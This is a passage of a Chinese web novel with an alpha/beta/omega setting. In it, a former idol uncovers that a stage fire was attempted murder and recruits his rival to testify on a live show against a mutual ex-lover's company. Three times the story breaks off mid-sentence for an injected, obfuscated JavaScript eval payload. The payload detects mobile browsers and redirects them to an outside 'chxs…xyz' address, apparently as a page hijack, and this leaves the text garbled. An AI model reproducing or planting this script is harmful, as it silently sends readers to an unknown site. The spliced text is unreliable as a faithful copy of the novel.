他又一次站上舞台,时隔多年,关系复杂的三人再度聚首。 刑少奇看向邵阎,又看向秦然。 刑少奇道:“现在知道了。” 11.恐怖故事 刑少奇看着两人惊讶的脸。 他踏上这已经在记忆中模糊不堪的舞台。视线扫过积灰的台面,老化破损的射灯,感觉当时的记忆和如今的一点点重合。 风拂过,带来一丝冷意。 邵阎忽然道:“只是我们的猜测。没有依据。”他顿了顿,“但如果你觉得有危险,应该现在就停止活动,继续出国,外面比这里安全。” 刑少奇从口袋里摸出烟,月光落在他的发梢,吹乱了他略长的黑发,刑少奇的声音平静无波,“在国外也会死。” 他看到两人骤变的表情,尤其邵阎瞬间黑了脸色,“……死?” 刑少奇:“对,有人想要我死。” “真凶还活着,还想要我的命。”刑少奇将被吹乱的额发拨开,望见邵阎攥紧的拳,和秦然惊愕的脸。 “所以不如直接告诉我,你们查到了什么?——说不定对找到那个人,能有点帮助。” 在寂静中,是秦然先开了口。 他看起来有些心虚,用手指绞着衣角,对上刑少奇的目光,开始断断续续地说话:“其实我们有猜到,那个真凶是谁……但你说他在国外也……” “这有些太荒谬了。” 刑少奇问:“你说的是谁?” 没等秦然开口,邵阎说:“我哥。” “……?”这答案令刑少奇愣了两秒。 在接下来的讲述里,刑少奇窥见了另一个视角的故事。 “其实从你出道的时候,就有很多奇怪的事情。”秦然作为主讲人,“最开始,就是你的出道位。” “那个组合尚未定下具体人数,一般来说,都会选择加入一个人,但他们让我顶替你。” “出道以后,一直有针对你的宣传报道,都被邵阎压下来了。”秦然瞥了眼邵阎的脸色,“直到邵阎找到了我,我们开始传出绯闻,媒体减少了和你相关的曝光,那些消息才逐渐平息。” “我出现后很长一段时间,针对你的那些事情开始减少。直到……那次火灾。 “尽管鉴别的结果、给出的报道都说那是一场意外,但只有我和邵阎确定,那是人为。” 刑少奇抬眸,“为什么?” “因为……”秦然深吸了口气,“因为火灾时,舞台上有……催化情期的东西。” 此话一出,刑少奇愣了下。 “我和邵阎的匹配度很高,当时,几乎是本能地……他拉住了我。”秦然道,“等到我们恢复理智,火灾已经彻底蔓延,他……” 秦然刻意放慢了语速,令这句话传递出无限引人遐想的空间。 邵阎却打断了秦然的话,“那之后再去调查,最终指向的便是那位高层,可我找到他的时候,他已经死了。是在家里上吊自杀的。” 刑少奇眉头一挑,“自杀?” 邵阎点点头,“对,自杀。他留下了遗书,经鉴定是他本人的笔记,说他已经对这个世界没有留恋。” “他没有后代,没有伴侣。他名下的财产甚至都没有处理。” 刑少奇:“他有什么疾病吗?” 邵阎说:“没有。这就是蹊跷的地方。他的身体没有重病,每年的心理评测都正常。” “他与你素不相识,几乎没有交集。 “但你加入公司之后,遇到的事情,都和他脱不开关系。” 邵阎顿了顿,“包括你没能出道,也是因为他。” 秦然的脸色变了变,被邵阎打断的话语有些敏感,他不清楚这是邵阎故意还是无意。他试着重新加入对话,于是开口道:“最开始的时候,我的确拜托了邵阎想要出道,可是淘汰你的决定并不是邵叔叔……就是邵阎他父亲,下达的。 “真正通过决定的是那个高层。” 邵阎继续:“而后面关于你的负.面.报.道,或多或少都有他的手笔。后来,查出了他曾与我哥私下有来往。” 话到这里,刑少奇已经基本了解透彻:邵阎他哥联系了那位高层,针对刑少奇做出了许多事,最后甚至制造了事故,意图让刑少奇葬身火海。 但是为什么? 刑少奇自认和邵阎他哥根本不认识,也谈不上有仇。 秦然小声道:“所以我们一直以为,这些事情是邵阎他哥做的……因为邵阎喜欢你,他针对邵阎的时候,牵连到了你。” “你知道,大家族斗争什么的……都不太干净。他对付不了邵阎,但对付你很容易。毕竟在某些人眼里——” “平民的命,和蝼蚁一样,轻易就能碾碎了。” 夜风陡然呼啸,刑少奇捏住了烟。 额发被风吹得摇晃,数次遮挡住他的视线。 他看向邵阎的脸,发现邵阎也在看自己。 顿了顿,刑少奇开口:“……还有这样的事情。” 心情有些微妙,像是撕开了一个角。陈年往事的另一面有些超出刑少奇的预料,他揉了揉太阳穴,闻到空气里泛起浅淡的灼烧气味。 刑少奇抬头,半晌,只叹了一声。 “不是他。” 邵阎的信息素浓烈起来,昭示着其主人的心绪正在剧烈起伏。 话音落下时,刑少奇的目光也放到了秦然上。 秦然摸了摸鼻子:“那不是邵阎的哥哥,还能是谁呢?也没有人和你有仇吧?” 刑少奇缓缓道:“也不一定要有仇。或许……有利所图,也同样可以。” 秦然脸色一变。 * 三天后,刑少奇交上去的名字出现在镜头前。 直播间满屏的问号下,是刑少奇写下的两个字—— 【秦然】。 节目组的先导片里询问刑少奇缘由,他是这么回答的:“既是两人旧友,又了解我和邵阎当年不易之处,还刚好在本市,相信没有比他更合适的人选了。” 刑少奇看向身旁,笑了下,“而且我相信,他也需要和大众解释一下自己的隐情。” 镜头一转,露出秦然苍白的脸。 对着镜头,秦然的目光有些闪烁,但很快就深呼吸,提起笑容道:“大家好。” 他其实一点也不想来。但刑少奇那晚说,“既然是我误会你们的关系,不如让秦然参加节目,说明情况,不然损坏了声誉,我会很愧疚。” 偏偏邵阎还在旁边放松了表情,一副“辛苦做的事情都被看见了”的样子,让秦然说不出拒绝的话。 他能怎么拒绝? 这些年,随着组合解散,秦然名气一落千丈。他没能在圈内立足,又因为和邵阎当年的绯闻,家里也不愿让他与旁人联姻。可以说,除了和邵阎在一起,他没有其他安身立命的方式。 他要是拒绝,那难免让邵阎起疑,要是重新调查当年的事情……他怕自己瞒不过去。 镜头从秦然面前离开,缓慢后移,将刑少奇与秦然两个人的身影都放进屏幕里。 刑少奇没拿节目组备好的问题卡,只是看着秦然,笑一下,“秦然先生和邵阎自小一起长大,我确实有许多事情,想得到你的答案。” “我也想知道,邵阎当初有多不易。” 秦然微笑:“我肯定如实作答。肯定不会随意说些不负责的话,影响别人的清誉。” 刑少奇面色不变:“这点我向您学习。” 他双手交叉,看向秦然:“说起来,邵阎很讨厌参加宣传发布,不知道是什么原因?” 秦然松了一口气,刑少奇的表现让他还以为是被发现了什么。 他虚虚捧住面前的杯子,“邵阎当初……处境并不好。他需要和几个兄弟姐妹争斗继承权。可当时他并不想参与斗争……所以他选择出道。远离家族纷争。 “他不能表现得太出挑,以免被认为是另辟蹊径,以博得关注。” 刑少奇道:“他怕自己露面太多,引起家里注意?” 秦然点点头:“当时是这样。” 刑少奇笑了:“可他后面那么多绯闻,好像和本意背道而驰了。” 秦然的心又落下去几分,看向刑少奇的眼神有点微妙——这些问题就像对邵阎旧情未了才能问出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14757103|155233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的。 秦然面上划过一丝落寞,开口:“因为你出现了。” “当时邵阎知道了你曾经是个omega,带你做了许多检查,对不对?” 刑少奇点点头。 秦然道:“其实他很希望,你真的是个omega。” “因为他不想去争取继承权,那未来大概率是要和旁人联姻的。可如果你是个和他匹配度很高的omega,未来很可能诞下高级血脉,那邵阎……或许可以和你结婚。给你一个名分。” “但可惜,你的腺体没能恢复,他没办法正大光明地选你。” “所以,他找到了我——” 秦然适时露出一丝苦笑:“我和他从小一起长大,我的身世,邵家也满意。” “最重要的是,他那些竞争者,会觉得我和他在一起,可以帮助他夺位。所以会更倾向于针对我,而忽略你。” “这样子,就能保证你的安全。毕竟我和邵阎都有家族庇护,他们再怎么样也不可能闹得太大。可你不一样……你会很危险。” “邵阎就这样,一边和我做戏,一边慢慢积蓄力量,最后赢得了继承权。”秦然像是有点失意,“在外人面前,大家都以为我是插足者,但实际上,我只是你的挡箭牌而已。” 刑少奇撑着下巴看着他:“谁觉得你是插足者?当年我和邵阎从来没有公开过关系,大部分人眼中,你和他才是一对。” “少数知情人,比如邵阎的朋友,只会觉得我插足你们的竹马情谊,谁会觉得你是插足者?” “……”秦然脸色未变,“有一些人,还是会这么认为的。” 他顿了顿,看着刑少奇,语气诚恳:“当时那些朋友,确实对你有些误会。我也因为害怕影响邵阎的计划,所以没有解释,让你受了许多委屈……但本意都是为了更好地保护你。” 刑少奇却继续问:“哪些人?” 秦然的呼吸快了几分。 公众不知晓,朋友都误会,那还有什么人,会觉得秦然是插足方? 这个人知道刑少奇和邵阎的关系,却又不是邵阎的朋友,那…… 是秦然的朋友?可是朋友,怎么会不站在他身边,觉得他才是插足的那个人呢。 秦然嘴唇颤抖了几下,他感觉脊背都被冷汗浸透了,大脑飞速运转,想要找到个答案,可是能有什么人是满足条件的? 能知晓刑少奇和邵阎恋情的,必然是三人身边比较亲密的知情人;能觉得秦然是插足的,必然不是秦然的偏袒者。 偏偏他还顺着刑少奇的话,把路堵死了——说邵阎的朋友都偏向自己,才给了刑少奇许多委屈。 刑少奇端起咖啡杯。杯子和小盘碰了一下,发出清脆的声响。 秦然突然一抖,目光落到刑少奇身上。 刑少奇道:“一个和你不怎么亲密,却知晓你的秘密的人……” 他那只戴着黑色手套的手捏住匙柄,将小匙竖起。 秦然看见他将小匙反过来,匙面朝上,匙柄向下。 刑少奇意味不明地说了句:“是圆勺的话,会比较像吧。” 秦然没懂,看向刑少奇。 只见他碧绿色的眼睛盯着自己,那张脸上浮现出笑意:“可惜没绳子,不能挂上去。” 轰隆一声,秦然的大脑像是落下一簇闪电。他的眼前蓦地出现一根绳子,尾端缠绕成圈。 他看到有人把脑袋伸进去,填满了绳圈的空隙。 那人的脑袋和身体,像是一柄勺子,被绳挂在半空。 勺子先是直挺挺地绷着,像此时刑少奇手中提起的那把。 随着刑少奇手指微动,那小勺便摇晃起来。 像是脑海里的那柄勺,也开始晃荡。 晃着晃着,勺面慢慢转了过来,露出秦然藏在脑海深处的那张脸—— “刑少奇死了,你不就能顺理成章和邵阎在一起了吗?” 那位高层的话,时隔多年,在秦然大脑里摇晃。 随着他如同勺柄的身体一起。 12.利益交换 一时间,秦然感觉浑身冷汗,明明室内的暖气很足,他却觉得寒冰从足底钻出,一寸寸包裹住他的身体。 他握紧拳,手指在衣服下摆掐出褶皱。眼前好像还能看到那具尸体摇摇晃晃,莫名的恶心感涌上,刺啦一声,是秦然猛地后靠,椅子在地板上划出尖锐的声响。 “……哈,邢先生,你真会开玩笑。什么秘密?”秦然深吸了口气,眼神避开刑少奇的,他说,“除了朋友,也会有别人知道的。你想太多了。” 刑少奇用手撑住下巴,视线落在秦然的脸上。有一瞬间秦然感觉自己像是一件等待评估价值的商品,他的呼吸在刑少奇的目光中渐渐加快,手心濡湿,只能胡乱蹭在衣角上。 放轻松,放轻松……刑少奇没有证据。什么都证明不了,什么都不会改变…… 秦然只觉得牙关在打架。恐惧像藤曼开始缠绕着他的心脏生长,随着心跳加快,那藤曼好像钻入他的四肢百骸,沿着他的血管不断蔓延,令他的身体不断僵化,呼吸几乎溃乱。 他深吸了口气,将手心的汗擦干,放于桌面。在摄像机面前调整状态,装出一副泰然自若的模样。 秦然想,只要他不松口,刑少奇就没办法。 那场大火烧毁了一切,所有证据都湮灭无踪。他作为唯一的证人,只要守口如瓶,就能让真相永远埋葬。 “秦然。”刑少奇忽然唤了他一声。 那只充满暗示意味的小匙被刑少奇放下,接着,刑少奇伸出手,轻轻碰了下秦然的指尖。 刑少奇伸出的是右手,戴着黑色手套,手套的材质很薄,触感有些滑,于是秦然能感觉到刑少奇的体温从两人接触的部分传来,很温暖,甚至有些烫——于是秦然这时才发觉自己的手冷得吓人。 “你的手很冷,要不要把空调调高点。”刑少奇开口的时候,秦然感到自己的手指在抖。 瞬息之间,刑少奇按住秦然发抖的手,轻轻地笑了一下。 “你在怕什么?秦然。”刑少奇问,在秦然开口之前,他继续了话题,“我猜,你应该在想。” “你要是什么都不说,我也拿你没办法。可如果你说出来,就什么都没了。” “说出来,会导致你被抛弃,最终一无所有。如果隐瞒事实,那还有一丝喘息的可能。” 刑少奇望着他,那双绿色的眼睛从来没有一刻这样长久地停驻在秦然身上。秦然身体一僵,想要把手抽出来,却感觉道一股力量抓住了自己的手腕,他的视线不可置信地往下—— 刑少奇紧紧拉住了他,伸出手指,在他的手背上,画下一横。 接着,是撇、捺……秦然忽然意识到,他在写字。 没有专门的特写机位,摄像机为了让两人同框,使得画面缩小,令刑少奇本就小幅度的书写变得更加难以注意。 而刑少奇没有低头,只是一边开口,一边在秦然的手背轻画。 他说:“但你有没有想过,被抛弃,同时也意味着……可以另谋出路。” 刑少奇的手收了回去,他在秦然的皮肤上写下两个字。 经由薄手套透出的些许体温,如无形的墨在秦然的手背画下看不见的痕迹,然而那两个字如此清晰地落在秦然的大脑,几乎如雷贯入他的身体。 刑少奇说:“被抛弃和弃暗投明,某种意义上,或许能算殊途同归。” “你怎么能确定,离开邵阎,自己就一定会一无所有?” 秦然像是被抽空了灵魂,他终于抬头看向刑少奇。从手背上传来的些许温度,像是一颗火星,灼烧着他的皮肤,令秦然几番蜷缩起手指。 他想说什么,但嗓子好似堵了石块,眼神和刑少奇交汇之时,对方笑了一下。 刺啦——! 椅子被拖动,秦然猛地站起,“我、我需要去一下卫生间。抱歉。” 他摘下领口的麦,看到刑少奇同样关掉了耳麦。 刑少奇坐着,他站着。明明是足以俯视对方的姿势,可是刑少奇望着他,秦然便忍不住想后退。 他听到刑少奇说:“你想要的东西,只用婚姻和讨好,是得不到的。” “但是……” 秦然扭头,脚步匆匆,堪称狼狈地离开了直播。 然而刑少奇的话像是魔鬼低语,在他的耳畔那样明显地炸响。 “——但是,我可以给你。” 秦然几乎是逃进卫生间,把洗手池的冷水开到了最大。用掌心接了,感觉到冷意从脸颊上不断扩散,他的呼吸才稍微平复。 抬头,镜子里露出一张略显苍白的脸。 秦然看起来就是大众心目中最典型的omega,柔软、温和,毫无攻击性。 可是他已经不再年轻了,如他一样的omega层出不穷,而他唯一可以依靠的邵阎至今没打算和他联姻。 可他能有什么办法呢?从拿到那张和邵阎的匹配度诊断书开始,他的人生就已经默认和邵阎锁定在一起——靠着那高数额的匹配度,他们全家都攀附上了邵家。 从那天起,秦然被迫成为了全家的依靠。 为了承担起自己的责任,秦然放弃了自己学习很久的舞蹈,听从安排跑去出道;一次又一次降低自尊,无名无份跟着邵阎。 但他还是什么都没得到。 他做了那么多、那么多……但刑少奇和邵阎分手以后,他还是没能如愿以偿,和邵阎结婚。 两人的事情分明板上钉钉,可邵阎不愿意,他就只能忍气吞声,做个只会等待的痴情人。而且还要为了家人的未来,小心翼翼地讨好这个耽误自己的alpha,对着他摇尾乞怜。 秦然低下头,头顶的灯光在水波反射,好似粼粼的月光。 他看见了自己的倒影。 那样可怜。 突然,那倒影摇晃了一下。 一簇水声从秦然身旁响起。他吓了一跳,看到旁边的刑少奇。“……你怎么能进来?!” 刑少奇看他一眼,“我也是男omega,当然可以进。” “……”秦然小声地啧了一下,“怎么一点信息素都没有……” 他忽然又住了口。 因为刑少奇脱了手套,露出那只布满狰狞烧伤的手。 秦然的视线跟着那只手游弋,这是他第一次看到那陈年的旧伤,像是不同颜色的皮肤被劣质缝合、拼接到一起,同时伴随着程度不一的老化。 像一块干枯的树皮。 他的心忽然泛起了什么,那种微妙的感觉令秦然不自觉开口:“……你真的,没必要查下去。” “就当作是那个高层做的不好吗?真凶已出,人死债消,查到这里就够了。” 刑少奇在手中搓出泡沫,他的左手状态就好多了,几乎没留下什么伤疤。 他问:“是没必要查下去,还是查下去不好?” 秦然望了一眼门外,男omega的卫生间处在最深处,此时门口无人,门里只有他和刑少奇。 这也是节目组最不可能安装镜头的地方。 “……再查下去,还能怎么查,刑少奇?”秦然侧身面对着门,防止有人进来,“查到邵阎他哥头上,就已经成了邵家的丑闻。” “如果邵阎他哥还不是真相,那只能是……比邵家更……”秦然忽然顿了下,半晌,他伸出一根手指,指向天花板,“——的人。” 他说着,不动声色地看了眼刑少奇的脸,观察对方的表情。 刑少奇没什么反应。 “所以这件事情,到这一步,已经没办法继续了。”秦然自认已经说的足够明显。他深呼吸,有些嘲弄地开口,不知道是在说刑少奇,还是在说自己。 “你想,邵阎虽然说查到可能是他哥干的,但他什么也没做。他哥活得好好的,至今逍遥快活。那个莫名死去的高层,也从未真的追究死因,你真的觉得,是他不想追究吗?” 秦然叹了口气。 “邵阎可以来节目上被羞辱两句,可以把当年对你不好的人通通敲打一番,可他哥要是真的作为凶手被逮捕,那邵家肯定会受到影响。 “邵阎作为继承人,肯定会被波及。” “更别提如果查到更上面的人,那邵阎自己都会危险。他肯定不会查下去的。” “而且……”秦然顿了顿,决心打消刑少奇利用邵阎彻查的可能,“邵阎现在还有点困难,他根本不可能为了给你一个真相,让自己为难。” 刑少奇终于有了反应,他“嗯?”了一声,“真要破产了?” 秦然:“……” 他还是想为邵阎解释两句,“没那么夸张,只是这两年同行竞争压力大,邵阎手下的产业也难免 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781264|155233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收到冲击,现在正是有些为难的时候。” 刑少奇点点头,想到了邵阎和自己刚见面时递来的卡。这种情况下还给他一张不限额的……只能说,邵阎还没有困难到底。 “那也挺快的。” 这句莫名其妙的话让秦然望了刑少奇一眼。 刑少奇擦着手,道,“我以为他能撑得更久一点……不过想想也是,他很愚蠢,又很自负,嘴硬而不肯低头,生意场里不栽跟头都不正常。” 他抬头,“所以,他更给不了你那些东西了,为什么不考虑我呢?秦然。” “你……”秦然看着他戴上手套,将陈年的旧伤用布料遮住,忽然想起来自己手背上被画下的两个字。 “你写那个……是真的吗?你可以做到?”秦然声音有些哑,“你……要帮我?你不想报复我?” 刑少奇道:“你的确不是什么好人。” “但归根究底,我们之间的矛盾是因为邵阎,你是对我做了很多错事。但比起报复,我更在乎你有别的用处。” “秦然。”刑少奇说,像是和他谈论一件物品的价值,而这件物品正是秦然本身。“你是唯一一个和那位高层有接触的人,是当年最具说服力的当事人。” “就像你说的,邵阎这么多年了,也没有继续查下去。他不希望这件事情闹大到影响自己的利益。所以对于他来说,你是个烫手山芋。没有价值不说,还需要时刻小心警惕,吊着你,又要防着你。让你跟在他身边,又要避免你说出些什么。” 秦然脸色一白。 好像这么多年,邵阎确实就是这样…… 他以为邵阎是不曾怀疑自己,相信自己的谎言。却没想过,对方是一直把自己视作需要防备的东西。所以不去追究那些话语里的漏洞。 “但是,”刑少奇又道,“你对我来说,是最有力的证据。” 他靠近了秦然一步,“你想要从邵阎身上获得地位,获得权力,获得安身立命的本钱。这些东西,相信你已经能意识到——哪怕你拥有和邵阎的婚姻,穷尽一生对他卑躬屈膝,只要他不愿,他随时可以收回。” “但是,你可以和我交换。” 刑少奇望着秦然,他的声音很悦耳,毕竟也是差点作为主唱出道的人,相比起邵阎的低哑,更清朗悦耳。 “我们可以做共犯。你帮我出面作证……然后,让我们引发一场谋杀未遂的舆论——” “对着摇摇欲坠的邵氏,落井下石。” 那双绿眼睛看着秦然,几乎令他毛骨悚然。他恍惚间想,刑少奇对待邵阎的态度,不像旧人——只像仇人。 “让我们合作,令邵阎真的破产吧。” “而秦然你,是我的同谋。我不需要你的婚姻,不需要你的讨好。倘若我们成功了,我会给你想要的荣华富贵。” 刑少奇顿了顿,也学着秦然的姿势,伸出一根手指,指向空无一物的上方:“但我需要提前告诉你的是,如果选择我,这会是一条非常危险、而且很有可能带来生命威胁的道路。” 秦然沉默良久。他比刑少奇矮一些,于是刑少奇低头,看到他有些发抖的身体。 或许对于这个omega来说,这样的事情过于癫狂大胆了。 刑少奇在这样漫长的沉默里耐心等着,直到omega主动抬眸,看向他。 “你是说,不需要用身体去讨好alpha,不需要用婚姻困住我的自由,也可以给我荣华富贵。” 刑少奇笑起来,“是的。” 这位柔软的、温和的omega忽然露出一个羞涩的笑容。 他深吸了一口气,缓缓说。 “这真是……稳赚不赔的交易啊。” 等到两人再回到节目现场,秦然已经换了一副模样。 他小心地拉着刑少奇的衣角,在镜头面前露出泛红的眼睛。 他说:“……我思来想去,还是决定令真相大白。否则我寝食难安,会一直被良心谴责。” “我必须要告诉你真相,少奇——无论邵阎怎么想,他还要不要我,我都必须对你这个受害者说出事实。” “其实当年的那场火灾,不是事故。” 轰然一下,仿佛世界静止,直播间突然卡顿了片刻。 紧接着,节目组将镜头推近,几乎怼上秦然的脸。 13.邢总 秦然看起来有些紧张,但很快深吸了一口气:“这是一场……精心制造的谋杀。” “而那个凶手,其实早在你出道之前就已经……” 刑少奇露出诧异的神情:“秦然,你知道自己在说什么吗?” “我说的是真的。”秦然看向刑少奇,这位柔软的omega目光坚韧,“你被淘汰,是一次蓄意的针对。” “而主使人,是当时公司的……那位。” 刑少奇面色一僵:“……他?可是为什么……” 秦然敛眸,苦笑了一声,“我也不知道。只是在你出道之前,那位就有联系过我。” “我猜,是因为你当时在练习室舞台的视频火了,有了名气,才被他注意到。” 刑少奇有些讶异。 其实,现在这一段都是他和秦然演戏。 为了给邵氏泼脏水,他和秦然沟通了大致的故事思路,但具体的细节还需要个人填充。 而让刑少奇感到意外的是,秦然说的事情,确实是真的。 公司会把优秀的练习室舞台剪辑发布,在刑少奇出道那年,有一个视频取得了不小的热度。但那个视频里最火的人不是刑少奇,后续这个视频也没有给刑少奇带来什么助力,现如今恐怕都不会在网络上留痕了。 是巧合,还是秦然真的见过那条视频? 刑少奇思索了下,先顺着秦然的话继续道:“确实有这么回事。可你要说他针对我……” 秦然神情饱含愧意:“那位指使我,让我去威逼利诱你的队友,蓄意抹黑你的形象。最终……让你最终无缘出道,我也因此代替了你。” “而你出道之后,散播出的流言都是他一手推进的。为了打压你,他刻意推动我和邵阎的绯闻… “我虽然和邵阎自小一起长大,但我家那时已经徒有其表。我想抓住出道这个机会,所以不敢违抗他。同样的,因为当时的家境……对于邵阎那些朋友的看法,甚至邵阎那些逾矩的行为,我也没有反抗的能力……” omega的声音带上了一丝哭腔,“我、我真的很抱歉。因为我那时候以为,那位只是不喜欢你。” “所以在事故发生之前,他给我促发情药剂的时候…… “我以为他只是想要……让我用标记逼着邵阎和你分手。譬如在舞台上制造一出发情事故,让我们迫于公众压力在一起……但我没有想到他的真实目的,居然是想要在火灾时,用我和邵阎分散大家的注意力,导致没人注意到你……” 秦然低下头,有些发抖:“等到我们清醒的时候,才发现明明现场围了那么多人,你却不在。” “可那时候,火已经大了,没人敢进去……” omega的身体有些弯,他似乎要被愧疚压垮了,“我很抱歉,真的很抱歉。因为我害怕说出这个真相会遭到报复,当时也没有任何办法可以留下证据——所以这么多年,我都无法开口,做了他们的帮凶。” “直到今天,我再次见到你……”秦然的目光落到刑少奇的手上,他抿了抿唇,不忍地别开视线。“我想,我一定要告诉你真相,让凶手被绳之以法。” 秦然胡乱用袖口擦了下眼睛,手放下来时,眼眶都是红的,“我愿意为我说的话负责。” 刑少奇的目光晦涩不明,“你现在不怕被报复了吗?” 秦然深吸了口气。“怕,但我更怕有更多像你一样的人,也会遭受迫害。” 刑少奇的手指轻蜷,他望向秦然,脑中思绪万千。 “你要我相信一个抢了我位置的人,这有些困难。” 秦然身子抖了一下,这让他看起来很可怜。高清镜头下,秦然屡次张口,却又闭上嘴,好像在做激烈的心理斗争,犹豫着到底要不要说。 最终,在漫长而静谧的沉默里,秦然小声道:“其实我并没有想抢你的出道位,你信吗。” 他说,“那个时候,我刚加入公司,什么都不知道。他们让我去看a班练习,在你表演后,他们问喜欢哪个,我说……我喜欢主唱。” “……他们以为我喜欢的,是主唱那个位置。” “所以那位,才会觉得我们有矛盾,最终选我顶替你。加上我和邵阎的关系,这才令我们……”秦然看向刑少奇,语气带着叹息,“走到今天这个局面。” 刑少奇坐在秦然对面,有一瞬间的愣神。 因为剧本里没有这段。 但他很快又冷静下来。bo与oo并不是社会主流,但随着这几年omega保护协会诞生,o权提高,所以在网络上有一定的声量。 秦然这番话,包含小众取向、强权压迫、再加上这个真假参半的事故变谋杀……想必会有不小的讨论度。 “我当时不敢承认自己的取向,也不敢违抗那些alpha的命令。但是……”秦然有些嗫嚅,他的耳垂红透了,“……我总不能,看着你又受伤。” 台词功底和演技都很好啊。 刑少奇想,他是个演员,于是此刻看向秦然的目光里,开始带上了一丝欣赏。 这次节目组难得提前收工。 因为刑少奇和秦然的话引发了空前的讨论热潮,借着这股东风,就连omega保护协会官号都下场表明会关注本次事件。 而邵阎连节目都无暇顾及,就匆匆离开了录制现场。 两个主角失去了其中一位,节目组虽然知道舆论中心已经转移到了秦然和刑少奇身上,却也只能按合同中断直播。 节目结束时,天刚擦黑。 刑少奇借着开车的名义送秦然,开的还是他那辆不起眼的黑车。 秦然好像有点紧张,坐在副驾问:“你要说什么事吗?……还特地送我。” 刑少奇道:“怕你在半路上被谋害了,带你去安全点的地方。” 秦然动作微顿,脸上一片空白。 刑少奇放在方向盘的手指敲了敲,望着秦然一直绞在手掌心的安全带,那玩意已经被秦然捏了很久,至今没有放出来。 他猜秦然可能是被吓呆了。只好自己上手从秦然手中把安全扣解救出来,咔哒,扣好。 车辆缓缓起步,于马路疾驰。 刑少奇忽然开口问:“你之前学过表演吗?下午演的很不错。” 秦然眸色闪了闪,“你是说哪段?” 刑少奇道:“表白那段吧。”前面说被胁迫那里有点假,不过综艺对台词要求不是很高,配合剪辑和后期应该也能骗骗观众。 秦然沉默片刻,干笑了一声。 “是啊,我演的不错吧。” 秦然偏过头,用力闭了下眼睛。再睁开,视线落到车窗外,路灯再眼前飞快划过。他攥紧了拳头,又慢慢放开。 难言的沉默开始在车厢里蔓延。 刑少奇忽然道:“你有没有兴趣做演员?” 这话让秦然的心猛地一跳。几乎是瞬间,他回想起刑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788629|155233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少奇在自己手背画下的两个字—— “奇桓。”他念出来那两字,“和你是什么关系?” 奇桓电影,几年前兴起,如今已是电影行业龙头企业。业务范围下至放映上至投资制作、发行,覆盖了完整的电影产业链。 其子公司囊括了传媒、营销、发行、出版……在业内算数一数二的大企业。 相比起来,邵阎所掌控的经纪公司已经落寞,与奇桓根本不能相提并论。 车子刚好遇到红灯,刑少奇踩了刹车。 趁停车的时间,他掏出手机似乎发了什么消息,接着转过头看了眼秦然,伸出手,在空中画了几下。 ——“奇”。 什么意思?是他想那样吗?? 秦然大脑发懵,有种看到金山的感觉。他的心砰砰直跳,又忽然想到了什么,泄了气,冷静下来,“你是认识里面的高层吧?……也行。” 想到刑少奇写的字,他有点责怪的意思,“你那种表述太引人误会了。” 刑少奇:“误会什么?” 秦然道,“误会你是掌权人。可那样的话我肯定会知道,毕竟……” 他顿了顿,身体感受到一阵推力。 绿灯了,车子起步。 秦然想了想,觉得自己已经彻底和邵阎没可能了,于是接着:“毕竟邵阎就在和奇桓谈收购公司的事……” 刑少奇目视前方,“你都知道这个,那应该快要谈成了。” 秦然:“……?” 他倒也没有反驳刑少奇,毕竟他不是邵阎公司的决策人,邵阎也不会主动和他聊这些事。 秦然能从别人口中知道的消息,说明这个事情已经度过了最关键的时期,而根据奇桓的能力,大概率是收购成功了。 他看向刑少奇的表情忽然变得有些复杂,好在刑少奇正在专心开车,没空去看秦然一瞬间的神态。 “……刑总?”秦然试着叫。 刑少奇说:“不是。” 秦然疑惑,正要想还可能是什么。 车厢里突然传来一阵铃声,是秦然的手机在响。他拿出来,先是语气恭敬地接了电话,然后神情猛然变得惊喜。 电话挂断后,他开始不断在屏幕上操作,最后的路程就这么沉默了下去,直到秦然呼吸急促地放下手机,才发现车子已经停了许久。 刑少奇不知道什么时候停了车,等着秦然忙完。 停车场的顶灯很亮,穿过挡风玻璃拢上刑少奇的脸。那双绿眼睛在白光下颜色似乎变浅了点,因为垂眸,秦然甚至感觉此时的刑少奇很柔和。 秦然的心脏在胸腔里兴奋地乱跳。 因为就在刚刚,秦然确认自己即将与奇桓的子公司签约。 是错觉吗?感觉今天的停车场灯特别亮……但是兴奋压过了隐约的奇怪,秦然深吸了口气。 “是你做的?”秦然按下自己的激动,“这太快了……难以置信。” 虽然距离签订正式合同还有段距离,但秦然已经能确定自己可以进入奇桓。他思索了下,深吸了口气,“谢谢。你拜托的那位……需要什么吗?我会尽力。” 刑少奇在回消息,他低头的时候,衣领下滑,于是秦然看到omega脖颈上的环。 一时间,秦然愣住了。 通常情况下,只有信息素不稳定的omega才会戴环,在秦然的记忆里,自己只有分化期的时候才戴过这玩意儿。 14.真心话 